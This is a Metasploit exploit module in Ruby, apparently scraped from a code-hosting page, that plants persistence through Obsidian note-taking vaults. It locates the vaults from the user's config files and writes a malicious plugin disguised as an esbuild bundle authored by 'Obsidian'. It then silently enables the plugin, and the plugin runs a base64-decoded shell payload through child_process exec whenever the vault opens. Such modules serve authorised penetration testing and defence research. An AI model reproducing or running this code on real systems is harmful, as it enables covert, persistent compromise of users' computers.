Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.
Path: blob/master/modules/exploits/multi/local/obsidian_plugin_persistence.rb
Views: 15959
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix # whoami10include Msf::Auxiliary::Report1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Obsidian Plugin Persistence',17'Description' => %q{18This module searches for Obsidian vaults for a user, and uploads a malicious19community plugin to the vault. The vaults must be opened with community20plugins enabled (NOT restricted mode), but the plugin will be enabled21automatically.2223Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.24},25'License' => MSF_LICENSE,26'Author' => [27'h00die', # Module28'Thomas Byrne' # Research, PoC29],30'DisclosureDate' => '2022-09-16',31'SessionTypes' => [ 'shell', 'meterpreter' ],32'Privileged' => false,33'References' => [34[ 'URL', 'https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin' ],35[ 'URL', 'https://github.com/obsidianmd/obsidian-sample-plugin/tree/master' ],36[ 'URL', 'https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491' ],37[ 'URL', 'https://help.obsidian.md/Extending+Obsidian/Plugin+security' ],38[ 'URL', 'https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/' ]39],40'Arch' => [ARCH_CMD],41'Platform' => %w[osx linux windows],42'DefaultOptions' => {43# 25hrs, you know, just in case the user doesn't open Obsidian for a while44'WfsDelay' => 90_000,45'PrependMigrate' => true46},47'Payload' => {48'BadChars' => '"'49},50'Stance' => Msf::Exploit::Stance::Passive,51'Targets' => [52['Auto', {} ],53['Linux', { 'Platform' => 'unix' } ],54['OSX', { 'Platform' => 'osx' } ],55['Windows', { 'Platform' => 'windows' } ],56],57'Notes' => {58'Reliability' => [ REPEATABLE_SESSION ],59'Stability' => [ CRASH_SAFE ],60'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]61},62'DefaultTarget' => 063)64)6566register_options([67OptString.new('NAME', [ false, 'Name of the plugin', '' ]),68OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),69OptString.new('CONFIG', [ false, 'Config file location on target', '' ]),70])71end7273def plugin_name74return datastore['NAME'] unless datastore['NAME'].blank?7576rand_text_alphanumeric(4..10)77end7879def find_vaults80vaults_found = []81user = target_user82vprint_status("Target User: #{user}")83case session.platform84when 'windows', 'win'85config_files = ["C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json"]86when 'osx'87config_files = ["/User/#{user}/Library/Application Support/obsidian/obsidian.json"]88when 'linux'89config_files = [90"/home/#{user}/.config/obsidian/obsidian.json",91"/home/#{user}/snap/obsidian/40/.config/obsidian/obsidian.json"92] # snap package93end9495config_files << datastore['CONFIG'] unless datastore['CONFIG'].empty?9697config_files.each do |config_file|98next unless file?(config_file)99100vprint_status("Found user obsidian file: #{config_file}")101config_contents = read_file(config_file)102return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil?103104begin105vaults = JSON.parse(config_contents)106rescue JSON::ParserError107vprint_error("Failed to parse JSON from #{config_file}")108next109end110111vaults_found = vaults['vaults']112if vaults_found.nil?113vprint_error("No vaults found in #{config_file}")114next115end116117vaults['vaults'].each do |k, v|118if v['open']119print_good("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")120else121print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")122end123end124end125126vaults_found127end128129def manifest_js(plugin_name)130JSON.pretty_generate({131'id' => plugin_name.gsub(' ', '_'),132'name' => plugin_name,133'version' => '1.0.0',134'minAppVersion' => '0.15.0',135'description' => '',136'author' => 'Obsidian',137'authorUrl' => 'https://obsidian.md',138'isDesktopOnly' => false139})140end141142def main_js(_plugin_name)143if ['windows', 'win'].include? session.platform144payload_stub = payload.encoded.to_s145else146payload_stub = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh"147end148%%149/*150THIS IS A GENERATED/BUNDLED FILE BY ESBUILD151if you want to view the source, please visit the github repository of this plugin152*/153154var __defProp = Object.defineProperty;155var __getOwnPropDesc = Object.getOwnPropertyDescriptor;156var __getOwnPropNames = Object.getOwnPropertyNames;157var __hasOwnProp = Object.prototype.hasOwnProperty;158var __export = (target, all) => {159for (var name in all)160__defProp(target, name, { get: all[name], enumerable: true });161};162var __copyProps = (to, from, except, desc) => {163if (from && typeof from === "object" || typeof from === "function") {164for (let key of __getOwnPropNames(from))165if (!__hasOwnProp.call(to, key) && key !== except)166__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });167}168return to;169};170var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);171172// main.ts173var main_exports = {};174__export(main_exports, {175default: () => ExamplePlugin176});177module.exports = __toCommonJS(main_exports);178var import_obsidian = require("obsidian");179var ExamplePlugin = class extends import_obsidian.Plugin {180async onload() {181var command = "#{payload_stub}";182const { exec } = require("child_process");183exec(command, (error, stdout, stderr) => {184if (error) {185console.log(`error: ${error.message}`);186return;187}188if (stderr) {189console.log(`stderr: ${stderr}`);190return;191}192console.log(`stdout: ${stdout}`);193});194}195async onunload() {196}197};198%199end200201def target_user202return datastore['USER'] unless datastore['USER'].blank?203204return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform205206whoami207end208209def check210return CheckCode::Appears('Vaults found') unless find_vaults.empty?211212CheckCode::Safe('No vaults found')213end214215def exploit216plugin = plugin_name217print_status("Using plugin name: #{plugin}")218vaults = find_vaults219fail_with(Failure::NotFound, 'No vaults found') if vaults.empty?220vaults.each_value do |vault|221print_status("Uploading plugin to vault #{vault['path']}")222# avoid mkdir function because that registers it for delete, and we don't want that for223# persistent modules224if ['windows', 'win'].include? session.platform225cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"")226else227cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'")228end229vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js")230write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin))231vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json")232write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin))233234# read in the enabled community plugins, and add ours to the enabled list235if file?("#{vault['path']}/.obsidian/community-plugins.json")236plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json")237begin238plugins = JSON.parse(plugins)239vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})")240path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil)241print_good("Config file saved in: #{path}")242rescue JSON::ParserError243plugins = []244end245246plugins << plugin unless plugins.include?(plugin)247else248plugins = [plugin]249end250vprint_status("adding #{plugin} to the enabled community plugins list")251write_file("#{vault['path']}/.obsidian/community-plugins.json", JSON.pretty_generate(plugins))252print_good('Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.')253end254end255end256257258